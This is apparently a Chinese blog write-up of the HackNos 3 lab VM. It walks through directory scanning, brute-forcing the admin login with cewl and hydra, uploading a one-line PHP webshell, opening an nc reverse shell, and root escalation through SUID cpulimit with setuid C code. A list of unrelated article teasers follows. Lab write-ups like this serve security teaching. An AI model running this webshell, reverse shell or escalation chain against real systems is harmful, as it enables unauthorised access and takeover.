HackNos 3靶场
配置
进入控制面板配置网卡
第一步:启动靶机时按下 shift 键,
- 进入以下界面

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

ip a 查看一下实际用的网卡,这里是ens33

这里和直接的不同
20.04的ubuntu已经不用/etc/network/interfaces来设置网络了,变成在/etc/netplan下的文件来配置了
教程:Ubuntu Server 20.04 网卡启动及配置(配置前请注意文件备份)_邹霍梁@数字化企业的博客-CSDN博客
打开配置文件
sudo vim /etc/netplan/00-installer-config.yaml
1
按下i进入编辑模式,修改网卡为DHCP
network: version: 2 ethernets:eth0: # 这个以实际网卡为准dhcp4: true
12345
修改为静态ip:
network:version: 2ethernets:eth0: # 这个以实际网卡为准dhcp4: noaddresses: [192.168.1.2/24]optional: truegateway4: 192.168.1.1nameservers:addresses: [218.2.135.1,8.8.8.8]
12345678910
注意yaml对缩进和空格要求严格
应用更改
sudo netplan apply
一、信息收集
获取ip
目录扫描
gobuster dir -u http://192.168.16.200/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
扫描出三个目录

二级目录扫描
gobuster dir -u http://192.168.16.200/websec -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

登录发现有一个邮箱,保存下来
http://192.168.16.200/websec/index

在http://192.168.16.200/websec/login发现登录后台页面,需要使用邮箱

二、密码爆破
1.bp爆破密码
该后台登录页面对登录请求的IP进行了限制
去掉Cookie头部字段后可以正常爆破
使用burpsuitr,抓包,默认的字典是没办法跑出来的

字典获取-工具cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件。
工具源地址:【传送门】
使用cewl爬取网站信息然后生成目标网站字典文件
cewl http://192.168.16.200/websec/ > cewl.txt


导入字典重新爆破
根据收集的网站信息,邮箱contact@hacknos.com,使用字典cewl.txt进行爆破
成功爆破出密码 Securityx

进入管理后台了

2.hydra爆破
这里还可以使用hrdra进行爆破
hardra教程参考:
无验证码]Web页面_hydra爆破web_Yuri800的博客-CSDN博客
爆破语法:
hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
参数解释:
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form -提交方式
#username=^USER^&password=^PASS^:Log In" username=^USER^&password=^PASS^,把在network中看到的POST提交的内容只是把用户名和密码部分换成了^USER^和^PASS^。USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换。:Log In表示成功
POST的内容就是一个简单的键值对的形式(username=用户名&password=密码)

爆破结果:
[80][http-post-form] host: 192.168.16.200 login: contact@hacknos.com password: Securityx

三、后门上传
进入后台后,发现文件上传点

新建php文件,插入上传一句话木马文件
<?php system($_REQUEST['cmd']);?>

可以看到后门文件上传后的路径

访问后门文件:
被禁止访问

返回查看htaccess配置文件
可以看到里面代码对所有 .php 文件执行“拒绝访问”的操作。

删除重新访问
访问中删除admin后成功
http://192.168.16.200/websec/tmp/houmen.php?cmd=id

四、nc反弹
抓取 后门后的数据包,修改请求为post请求

kaili开启nc监听

反弹使用:
linux反弹备忘录 | (moonsec.com)
常用的一句话反弹shell总结_php一句话反弹shell_橘子女侠的博客-CSDN博客

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.180 9002 >/tmp/f
编译后执行

切换到bash
python -c 'import pty;pty.spawn("/bin/bash")'
五、第一个flag
查看网站存放的目录
www-data@hacknos:/var/www/html$ ls
ls
bg.jpg devil index.html scripts upload.php websec
www-data@hacknos:/var/www/html$ cd websec
cd websec
www-data@hacknos:/var/www/html/websec$ ls
ls
Dockerfile assets config.php log sites tmp
LICENSE composer.json index.php robots.txt src
app.yaml config.default.php lib shell.php themes
查看config.php文件内容
存放有数据库账号和密码,可以留着后面使用

查看账号保存位置
cat /etc/passwd

看到有个blackdevil用户,查看旗下的user.txt
拿到第一个flag

六、cpulimit提权
扫描suid文件
find / -perm -u=s 2>/dev/null

查找到SUID权限的命令:cpulimit
在Ubuntu中使用cpulimit限制进程的使用率_ubuntu 离线安装 cpulimit__Slience_的博客-CSDN博客
用法
限制firefox使用30% cpu 利用率 cpulimit -e firefox -l 30
限制进程号1313的程序使用30% cpu 利用率 cpulimit -p 1313 -l 30
限制绝对路径下该软件的 cpu 利用率cpulimit -e /usr/local/nginx/sbin/nginx -l 50
停止当前限制Ctrl + C
查找用户所创建的文件
find / -user 1000 2>/dev/null

查看当前用户可以使用的管理员命令
sudo -l

使用cpulimit提权
1.kali编写c代码
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>int main()
{setuid(0); #该函数用于设置实际用户ID,将其设置为0,即root用户的UID。这将把进程的权限提升为超级用户。setgid(0);#类似于 setuid,此函数设置实际组ID,将其设置为0,即root组的GID。system("/bin/bash");# system 函数用于在新的进程中执行一个 shell 命令。在这里,它执行了 /bin/bash,启动了一个交互式的 Bash Shell,因为Bash Shell位于 /bin/bash。return 0;#返回0表示执行成功#
}

2.编译代码
gcc a.c -o tiquanchmod 777 tiquan

3.上传到靶场
使用base64加密编译好的文件
base64 tiquan

复制在靶场处新建文件
使用: stty cooked echo
或者pyton上传
python -m http.server 8888
wget http://192.168.16.180:8888/tiquan

4.使用cpulimit执行
方法一、命令提权
cpulimit -l 100 -f -- /bin/sh -p因为这里的cpulimit是可以执行suid权限
这个命令的目的是以限制的CPU使用率(在这里是100%)运行一个交互式Shell也为suid权限
直接提权成功

方法二、脚本提权
使用刚刚编译好的c语言提权代码
执行
chmod +x tiquancpulimit -l 100 -f ./tiquan
七、sudo 提权
八、docker提权
相关文章:
HackNos 3靶场
配置 进入控制面板配置网卡 第一步:启动靶机时按下 shift 键, 进入以下界面 第二步:选择第二个选项,然后按下 e 键,进入编辑界面 将这里的ro修改为rw single init/bin/bash,然后按ctrlx,进入…...
【办公自动化】使用Python批量生成PPT版荣誉证书
🤵♂️ 个人主页:艾派森的个人主页 ✍🏻作者简介:Python学习者 🐋 希望大家多多支持,我们一起进步!😄 如果文章对你有帮助的话, 欢迎评论 💬点赞Ǵ…...
【C++深入浅出】初识C++中篇(引用、内联函数)
目录 一. 前言 二. 引用 2.1 引用的概念 2.2 引用的使用 2.3 引用的特性 2.4 常引用 2.5 引用的使用场景 2.6 传值、传引用效率比较 2.7 引用和指针的区别 三. 内联函数 3.1 内联函数的概念 3.2 内联函数的特性 一. 前言 上期说道,C是在C的基础之上&…...
前端:VUE2中的父子传值
文章目录 一、背景什么是父子传值二、业务场景子传父1、在父页面中引入子页面2、子传父:父组件标识3、子传父:子组件标识 父传子父组件调用子组件中的方法 总结: 一、背景 最近做项目中需要使用到流工作,在这里流工作需要用到父子…...
【100天精通python】Day40:GUI界面编程_PyQt 从入门到实战(完)_网络编程与打包发布
目录 8 网络编程 8.1 使用PyQt 网络模块进行网络通信 服务器端示例 客户端示例 8.2 处理网络请求和响应 9 打包和发布 9.1 创建可执行文件或安装程序 9.2 解决依赖问题 9.3 发布 PyQt 应用到不同平台 9.3.1 发布到 Windows 9.3.2 发布到 macOS 9.3.3 发布到 Linux 9…...
Redis——set类型详解
概要 Set(集合),将一些有关联的数据放到一起,集合中的元素是无序的,并且集合中的元素是不能重复的 之前介绍的list就是有序的,对于列表来说[1, 2, 3] 和 [2, 1, 3]是两个不同的列表,而对于集合…...
redis---》高级用法之慢查询/pipline与事务/发布订阅/bitmap位图/HyperLogLog/GEO地理位置信息/持久化
高级用法之慢查询 # 配置一个时间,如果查询时间超过了我们设置的时间,我们就认为这是一个慢查询 # 配置的慢查询,只在命令执行阶段# 慢查询演示-设置慢查询---》只要超过某个时间的命令---》都会保存起来# 设置记录所有命令CONFIG SET slowl…...
Find My资讯|苹果Vision Pro开发者需将设备配对 AirTag
最近苹果Vision Pro获开发者申请,苹果要求获批的申请者使用 Measure and Fit 应用确认合适的佩戴尺寸,并会根据申请者提交的信息,定制不同的 Vision Pro 开发者套件,以便于契合申请者的面部特征,提供更好的佩戴体验。 …...
Go 语言中排序的 3 种方法
原文链接: Go 语言中排序的 3 种方法 在写代码过程中,排序是经常会遇到的需求,本文会介绍三种常用的方法。 废话不多说,下面正文开始。 使用标准库 根据场景直接使用标准库中的方法,比如: sort.Intsso…...
12----Emoji表情
本节我们主要讲解markdown的Emoji 在 Markdown 里使用 Emoji 表情有两种方法:一种是直接输入 Emoji 表情,另一种是使用 Emoji 表情短码(emoji shartcodes)。 一、打印方式: 直接输入 Emoji 表情:在 Markdown 中,可以直接输入 Em…...
C++四种强制类型转换
一、C强制转换与C强制转换 c语言强制类型转换主要用于基础的数据类型间的转换,语法为: (type-id)expression//转换格式1 type-id(expression)//转换格式2c除了能使用c语言的强制类型转换外,还新增了四种强制类型转换:static_cas…...
git仓库新建上传记录
新建git仓会出现版本分支问题,解决过程: 其他的前期绑定之类的传送:https://blog.csdn.net/qq_37194189/article/details/130767397 大概思路:新建一个分支,上传,合并,删除分支 git branch …...
flutter调用so
lutter是一种基于Dart语言的跨平台开发框架,通常用于开发Android和iOS应用程序。如果您想要在Flutter应用程序中调用一个SO库,您可以按照以下步骤进行操作: 首先,将您的SO库文件复制到Flutter项目的“lib”目录下。 接下来&…...
c#依赖注入
依赖注入(Dependency Injection,简称 DI)是一种设计模式,用于将对象的创建和管理责任从使用它的类中分离出来,从而实现松耦合和易于测试的代码。在 C# 中,依赖注入通常通过以下方式实现: 构造函数注入(Constructor Injection): 这是最常见的依赖注入方式,通过类的构…...
Django框架使用定时器-APScheduler实现定时任务:django实现简单的定时任务
一、系统环境依赖 系统:windows10 python: python3.9.0 djnago3.2.0 APScheduler3.10.1 二、django项目配置 1、创建utils包,在包里面创建schedulers包 utils/schedulers/task.py #1、设置 Django 环境,就可以导入项目的模型类这些了 …...
Go学习笔记之数据类型
文章目录 GO数据类型数组array切片slice集合map结构体make和new GO数据类型 在go语言中,定义的全局数据结构不使用不会报错,定义的局部数据结构必须使用,否则报错;建议定义的数据类型就要使用,要么不定义。 数组array …...
Spring Cloud 微服务
前言 Spring Cloud 中的所有子项目都依赖Spring Boot框架,所以Spring Boot 框架的版本号和Spring CLoud的版本号之间也存在以来及兼容关系。 Spring Cloud生态下的服务治理的解决方案主要有两个: Spring Cloud Netfix 和 Spring Cloud Alibaba。这两个…...
SpringBoot属性配置
SpringBoot提供了多种属性配置方式 application.properties server.port80 application.yml server:port: 81application.yaml server:port: 82SpringBoot配置文件加载顺序 application.properties > application.yml > application.yaml常用配置文件种类 application.…...
算法通关村第十关 | 归并排序
1. 归并排序原理 归并排序(MERARE-SORT)简单来说就是将大的序列先视为若干个比较小的数组,分成比较小的结构,然后是利用归并的思想实现的排序方法,该算法采用经典的分治策略(分就是将问题分成一些小的问题分…...
SpringBoot3集成Kafka
标签:Kafka3.Kafka-eagle3; 一、简介 Kafka是一个开源的分布式事件流平台,常被用于高性能数据管道、流分析、数据集成和关键任务应用,基于Zookeeper协调的处理平台,也是一种消息系统,具有更好的吞吐量、内…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案
目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后,迭代器会失效,因为顺序迭代器在内存中是连续存储的,元素删除后,后续元素会前移。 但一些场景中,我们又需要在执行删除操作…...
在Spring Boot中集成RabbitMQ的完整指南
前言 在现代微服务架构中,消息队列(Message Queue)是实现异步通信、解耦系统组件的重要工具。RabbitMQ 是一个流行的消息中间件,支持多种消息协议,具有高可靠性和可扩展性。 本博客将详细介绍如何在 Spring Boot 项目…...
自定义线程池1.2
自定义线程池 1.2 1. 简介 上次我们实现了 1.1 版本,将线程池中的线程数量交给使用者决定,并且将线程的创建延迟到任务提交的时候,在本文中我们将对这个版本进行如下的优化: 在新建线程时交给线程一个任务。让线程在某种情况下…...
SE(Secure Element)加密芯片与MCU协同工作的典型流程
以下是SE(Secure Element)加密芯片与MCU协同工作的典型流程,综合安全认证、数据保护及防篡改机制: 一、基础认证流程(参数保护方案) 密钥预置 SE芯片与MCU分别预置相同的3DES密钥(Key1、Key2…...
ubuntu系统 | docker+dify+ollama+deepseek搭建本地应用
1、docker 介绍与安装 docker安装:1、Ubuntu系统安装docker_ubuntu docker run-CSDN博客 docker介绍及镜像源配置:2、ubuntu系统docker介绍及镜像源和仓库配置-CSDN博客 docker常用命令:3、ubuntu系统docker常用命令-CSDN博客 docker compose安装:4、docker compose-CS…...
板凳-------Mysql cookbook学习 (十--2)
5.12 模式匹配中的大小写问题 mysql> use cookbook Database changed mysql> select a like A, a regexp A; ------------------------------ | a like A | a regexp A | ------------------------------ | 1 | 1 | --------------------------…...
Linux--vsFTP配置篇
一、vsFTP 简介 vsftpd(Very Secure FTP Daemon)是 Linux 下常用的 FTP 服务程序,具有安全性高、效率高和稳定性好等特点。支持匿名访问、本地用户登录、虚拟用户等多种认证方式,并可灵活控制权限。 二、安装与启动 1. 检查是否已…...
